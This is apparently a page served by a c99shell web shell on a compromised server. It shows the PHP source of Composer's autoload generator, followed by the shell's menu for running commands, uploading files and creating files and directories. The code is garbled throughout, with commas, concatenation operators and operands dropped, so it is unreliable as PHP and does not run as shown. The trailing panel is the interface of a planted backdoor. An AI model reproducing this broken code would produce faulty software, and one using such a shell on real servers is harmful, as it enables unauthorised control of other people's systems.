getStaticFile($suffix$targetDir$vendorPath$basePath, &$staticPhpVersion)
    {
        
$staticPhpVersion 50600;

        
$file = <<<HEADER
<?php

// autoload_static.php @generated by Composer

namespace Composer\Autoload;

class ComposerStaticInit
$suffix
{

HEADER;

        
$loader = new ClassLoader();

        
$map = require $targetDir '/autoload_namespaces.php';
        foreach (
$map as $namespace => $path) {
            
$loader->set($namespace$path);
        }

        
$map = require $targetDir '/autoload_psr4.php';
        foreach (
$map as $namespace => $path) {
            
$loader->setPsr4($namespace$path);
        }

        
$classMap = require $targetDir '/autoload_classmap.php';
        if (
$classMap) {
            
$loader->addClassMap($classMap);
        }

        
$filesystem = new Filesystem();

        
$vendorPathCode ' => ' $filesystem->findShortestPathCode(realpath($targetDir), $vendorPathtruetrue) . " . '/";
        
$vendorPharPathCode ' => \'phar://\' . ' $filesystem->findShortestPathCode(realpath($targetDir), $vendorPathtruetrue) . " . '/";
        
$appBaseDirCode ' => ' $filesystem->findShortestPathCode(realpath($targetDir), $basePathtruetrue) . " . '/";
        
$appBaseDirPharCode ' => \'phar://\' . ' $filesystem->findShortestPathCode(realpath($targetDir), $basePathtruetrue) . " . '/";

        
$absoluteVendorPathCode ' => ' substr(var_export(rtrim($vendorDir'\\/') . '/'true), 0, -1);
        
$absoluteVendorPharPathCode ' => ' substr(var_export(rtrim('phar://' $vendorDir'\\/') . '/'true), 0, -1);
        
$absoluteAppBaseDirCode ' => ' substr(var_export(rtrim($baseDir'\\/') . '/'true), 0, -1);
        
$absoluteAppBaseDirPharCode ' => ' substr(var_export(rtrim('phar://' $baseDir'\\/') . '/'true), 0, -1);

        
$initializer '';
        
$prefix "\0Composer\Autoload\ClassLoader\0";
        
$prefixLen strlen($prefix);
        if (
file_exists($targetDir '/autoload_files.php')) {
            
$maps = array('files' => require $targetDir '/autoload_files.php');
        } else {
            
$maps = array();
        }

        foreach ((array) 
$loader as $prop => $value) {
            if (
$value && === strpos($prop$prefix)) {
                
$maps[substr($prop$prefixLen)] = $value;
            }
        }

        foreach (
$maps as $prop => $value) {
            if (
count($value) > 32767) {
                
// Static arrays are limited to 32767 values on PHP 5.6
                // See https://bugs.php.net/68057
                
$staticPhpVersion 70000;
            }
            
$value strtr(
                
var_export($valuetrue),
                array(
                    
$absoluteVendorPathCode => $vendorPathCode,
                    
$absoluteVendorPharPathCode => $vendorPharPathCode,
                    
$absoluteAppBaseDirCode => $appBaseDirCode,
                    
$absoluteAppBaseDirPharCode => $appBaseDirPharCode,
                )
            );
            
$value ltrim(preg_replace('/^ */m''    $0$0'$value));

            
$file .= sprintf("    public static $%s = %s;\n\n"$prop$value);
            if (
'files' !== $prop) {
                
$initializer .= "            \$loader->$prop = ComposerStaticInit$suffix::\$$prop;\n";
            }
        }

        return 
$file . <<<INITIALIZER
    public static function getInitializer(ClassLoader \$loader)
    {
        return \Closure::bind(function () use (\$loader) {
$initializer
        }, null, ClassLoader::class);
    }
}

INITIALIZER;
    }

    protected function 
parseAutoloadsType(array $packageMap$typeRootPackageInterface $rootPackage)
    {
        
$autoloads = array();

        foreach (
$packageMap as $item) {
            list(
$package$installPath) = $item;

            
$autoload $package->getAutoload();
            if (
$this->devMode && $package === $rootPackage) {
                
$autoload array_merge_recursive($autoload$package->getDevAutoload());
            }

            
// skip misconfigured packages
            
if (!isset($autoload[$type]) || !is_array($autoload[$type])) {
                continue;
            }
            if (
null !== $package->getTargetDir() && $package !== $rootPackage) {
                
$installPath substr($installPath0, -strlen('/'.$package->getTargetDir()));
            }

            foreach (
$autoload[$type] as $namespace => $paths) {
                foreach ((array) 
$paths as $path) {
                    if ((
$type === 'files' || $type === 'classmap' || $type === 'exclude-from-classmap') && $package->getTargetDir() && !is_readable($installPath.'/'.$path)) {
                        
// remove target-dir from file paths of the root package
                        
if ($package === $rootPackage) {
                            
$targetDir str_replace('\\<dirsep\\>''[\\\\/]'preg_quote(str_replace(array('/''\\'), '<dirsep>'$package->getTargetDir())));
                            
$path ltrim(preg_replace('{^'.$targetDir.'}'''ltrim($path'\\/')), '\\/');
                        } else {
                            
// add target-dir from file paths that don't have it
                            
$path $package->getTargetDir() . '/' $path;
                        }
                    }

                    if (
$type === 'exclude-from-classmap') {
                        
// first escape user input
                        
$path preg_replace('{/+}''/'preg_quote(trim(strtr($path'\\''/'), '/')));

                        
// add support for wildcards * and **
                        
$path strtr($path, array('\\*\\*' => '.+?''\\*' => '[^/]+?'));

                        
// add support for up-level relative paths
                        
$updir null;
                        
$path preg_replace_callback(
                            
'{^((?:(?:\\\\\\.){1,2}+/)+)}',
                            function (
$matches) use (&$updir) {
                                if (isset(
$matches[1])) {
                                    
// undo preg_quote for the matched string
                                    
$updir str_replace('\\.''.'$matches[1]);
                                }

                                return 
'';
                            },
                            
$path
                        
);
                        if (empty(
$installPath)) {
                            
$installPath strtr(getcwd(), '\\''/');
                        }

                        
$resolvedPath realpath($installPath '/' $updir);
                        
$autoloads[] = preg_quote(strtr($resolvedPath'\\''/')) . '/' $path '($|/)';
                        continue;
                    }

                    
$relativePath = empty($installPath) ? (empty($path) ? '.' $path) : $installPath.'/'.$path;

                    if (
$type === 'files') {
                        
$autoloads[$this->getFileIdentifier($package$path)] = $relativePath;
                        continue;
                    }
                    if (
$type === 'classmap') {
                        
$autoloads[] = $relativePath;
                        continue;
                    }

                    
$autoloads[$namespace][] = $relativePath;
                }
            }
        }

        return 
$autoloads;
    }

    protected function 
getFileIdentifier(PackageInterface $package$path)
    {
        return 
md5($package->getName() . ':' $path);
    }

    
/**
     * Filters out dev-dependencies
     *
     * @param  array                $packageMap
     * @param  RootPackageInterface $rootPackage
     * @return array
     */
    
protected function filterPackageMap(array $packageMapRootPackageInterface $rootPackage)
    {
        
$packages = array();
        
$include = array();
        
$replacedBy = array();

        foreach (
$packageMap as $item) {
            
$package $item[0];
            
$name $package->getName();
            
$packages[$name] = $package;
            foreach (
$package->getReplaces() as $replace) {
                
$replacedBy[$replace->getTarget()] = $name;
            }
        }

        
$add = function (PackageInterface $package) use (&$add$packages, &$include$replacedBy) {
            foreach (
$package->getRequires() as $link) {
                
$target $link->getTarget();
                if (isset(
$replacedBy[$target])) {
                    
$target $replacedBy[$target];
                }
                if (!isset(
$include[$target])) {
                    
$include[$target] = true;
                    if (isset(
$packages[$target])) {
                        
$add($packages[$target]);
                    }
                }
            }
        };
        
$add($rootPackage);

        return 
array_filter(
            
$packageMap,
            function (
$item) use ($include) {
                
$package $item[0];
                foreach (
$package->getNames() as $name) {
                    if (isset(
$include[$name])) {
                        return 
true;
                    }
                }

                return 
false;
            }
        );
    }

    
/**
     * Sorts packages by dependency weight
     *
     * Packages of equal weight retain the original order
     *
     * @param  array $packageMap
     * @return array
     */
    
protected function sortPackageMap(array $packageMap)
    {
        
$packages = array();
        
$paths = array();

        foreach (
$packageMap as $item) {
            list(
$package$path) = $item;
            
$name $package->getName();
            
$packages[$name] = $package;
            
$paths[$name] = $path;
        }

        
$sortedPackages PackageSorter::sortPackages($packages);

        
$sortedPackageMap = array();

        foreach (
$sortedPackages as $package) {
            
$name $package->getName();
            
$sortedPackageMap[] = array($packages[$name], $paths[$name]);
        }

        return 
$sortedPackageMap;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0109 ]--